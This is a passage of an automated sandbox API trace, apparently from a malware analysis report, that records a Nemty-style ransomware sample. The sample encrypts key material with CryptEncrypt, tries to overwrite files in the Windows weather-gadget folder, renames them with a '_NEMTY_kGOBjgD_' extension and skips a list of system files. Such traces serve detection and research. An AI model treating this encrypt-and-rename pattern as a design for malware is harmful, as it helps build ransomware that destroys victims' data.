pszString="NDuGAU7nUKTpa37jC8OdR31rWeaQa23XpvEz7xDEk+KnFE0/EYAbeaX0aXBiE7jP\r\nl9EzCFpSWlui+2v8dvq8fY8CwRaVG/dM7XoaUltk+E9c8uVAFIuzbozMY/gO1Y/+\r\n+DqmRobyjdskE4Ir4HXlrGkfX1qkBXHdxJUwSY7Ona7D+W0BjesvuOYmwt4ZZkww\r\nofFXYvRGNUZepn8+X2apK64boc2YziK8SUXNw+UtYIdKZmoWqz6bwqonuniby8zs\r\nYilJyd8GQts8pe8lyRG4EHBpA4zZZiQsd7QG3DgY0B2SKwsqn4Qqyl7nYoSKOevc\r\nq2/J1sxm47jTKqY/S2KJKQ==\r\n", pcchString=0x653e91c) returned 1 [0168.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0168.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0168.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0168.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0168.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0168.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0168.229] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_windy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_windy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.230] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0168.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0168.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.230] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.240] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.240] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.240] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.240] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.249] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.249] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.259] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.259] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.268] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.268] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.268] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.268] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.277] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.277] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.286] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.286] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.296] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.296] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.305] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.305] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.315] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.315] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.315] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.315] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.324] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.324] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.330] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.330] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.336] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.336] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0168.336] CloseHandle (hObject=0xffffffff) returned 0 [0168.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0168.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0168.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0168.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0168.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0168.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0168.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340468 [0168.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0168.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0168.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0168.336] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_windy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_windy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_windy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_windy.png._nemty_kgobjgd_")) returned 0 [0168.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0168.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0168.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0168.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0168.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0168.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0168.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0168.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0168.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0168.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.337] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f5938a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86f5938a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3662af81, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6add, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_blue_partly-cloudy.png", cAlternateFileName="")) returned 1 [0168.337] lstrcmpiW (lpString1="undocked_blue_partly-cloudy.png", lpString2=".") returned 1 [0168.337] lstrcmpiW (lpString1="undocked_blue_partly-cloudy.png", lpString2="..") returned 1 [0168.337] lstrcmpiW (lpString1="undocked_blue_partly-cloudy.png", lpString2="...") returned 1 [0168.337] lstrcmpiW (lpString1="undocked_blue_partly-cloudy.png", lpString2="windows") returned -1 [0168.337] lstrcmpiW (lpString1="undocked_blue_partly-cloudy.png", lpString2="$RECYCLE.BIN") returned 1 [0168.337] lstrcmpiW (lpString1="undocked_blue_partly-cloudy.png", lpString2="rsa") returned 1 [0168.337] lstrcmpiW (lpString1="undocked_blue_partly-cloudy.png", lpString2="NTDETECT.COM") returned 1 [0168.337] lstrcmpiW (lpString1="undocked_blue_partly-cloudy.png", lpString2="ntldr") returned 1 [0168.337] lstrcmpiW (lpString1="undocked_blue_partly-cloudy.png", lpString2="MSDOS.SYS") returned 1 [0168.337] lstrcmpiW (lpString1="undocked_blue_partly-cloudy.png", lpString2="IO.SYS") returned 1 [0168.337] lstrcmpiW (lpString1="undocked_blue_partly-cloudy.png", lpString2="boot.ini") returned 1 [0168.337] lstrcmpiW (lpString1="undocked_blue_partly-cloudy.png", lpString2="boot.ini") returned 1 [0168.337] lstrcmpiW (lpString1="undocked_blue_partly-cloudy.png", lpString2="AUTOEXEC.BAT") returned 1 [0168.337] lstrcmpiW (lpString1="undocked_blue_partly-cloudy.png", lpString2="ntuser.dat") returned 1 [0168.337] lstrcmpiW (lpString1="undocked_blue_partly-cloudy.png", lpString2="desktop.ini") returned 1 [0168.337] lstrcmpiW (lpString1="undocked_blue_partly-cloudy.png", lpString2="CONFIG.SYS") returned 1 [0168.337] lstrcmpiW (lpString1="undocked_blue_partly-cloudy.png", lpString2="RECYCLER") returned 1 [0168.337] lstrcmpiW (lpString1="undocked_blue_partly-cloudy.png", lpString2="BOOTSECT.BAK") returned 1 [0168.337] lstrcmpiW (lpString1="undocked_blue_partly-cloudy.png", lpString2="bootmgr") returned 1 [0168.337] lstrcmpiW (lpString1="undocked_blue_partly-cloudy.png", lpString2="programdata") returned 1 [0168.338] lstrcmpiW (lpString1="undocked_blue_partly-cloudy.png", lpString2="appdata") returned 1 [0168.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0168.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_partly-cloudy.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0168.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_partly-cloudy.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_blue_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 31 [0168.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0168.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_partly-cloudy.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0168.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_partly-cloudy.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_blue_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 31 [0168.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0168.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0168.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0168.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_partly-cloudy.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0168.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_partly-cloudy.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_blue_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 31 [0168.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0168.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0168.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_partly-cloudy.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0168.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0168.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_partly-cloudy.png", cchWideChar=31, lpMultiByteStr=0x4f9ed08, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_blue_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 31 [0168.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0168.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340188 [0168.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0168.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340250 [0168.338] Sleep (dwMilliseconds=0x5) [0168.353] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x17fe3bb0, dwHighDateTime=0x1d561e8)) [0168.353] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x17fe3bb0, dwHighDateTime=0x1d561e8)) [0168.353] GetLastError () returned 0x5 [0168.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0168.353] GetLastError () returned 0x5 [0168.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0168.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0168.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0168.353] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0168.353] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0168.353] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0168.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340318 [0168.353] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340318, pcchString=0x653e91c | out: pszString="E/6oPxd8cbIUuI8syX9e66/0Y9zZwCmgcT+q5gyXlQKCsDtWJ6vKBlgzY7dapeWN\r\nYFs3egVoxF4vFGohzySg+w3pbkc5QZgIQcNWy2YeYh5sOHE9RV1bugS+5hJkwm6s\r\nBU606qlNaGCVgT+CoStDvaRM4jf+mgixrY9SSJgUDU7NutpLnpwE3c97Qa01pYrq\r\nFcsTfEZdCMTIWXkEm6YeGbgJNvcgO6jJekiA0/EQxZBZH0cYtP00EaaOpwGCRzlm\r\nbcsvETs24qNRzQ+pzA1azkTkWHwXstvcCA8Udb95WC0IeFlnsgz1wdoJDNVTPcPu\r\nCSDKxxkaWaVj8PmNosXiRA==\r\n", pcchString=0x653e91c) returned 1 [0168.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0168.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340318 | out: hHeap=0x4f90000) returned 1 [0168.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0168.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0168.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340318 [0168.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0168.354] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_blue_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_blue_partly-cloudy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.354] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0168.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0168.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.354] ReadFile (in: 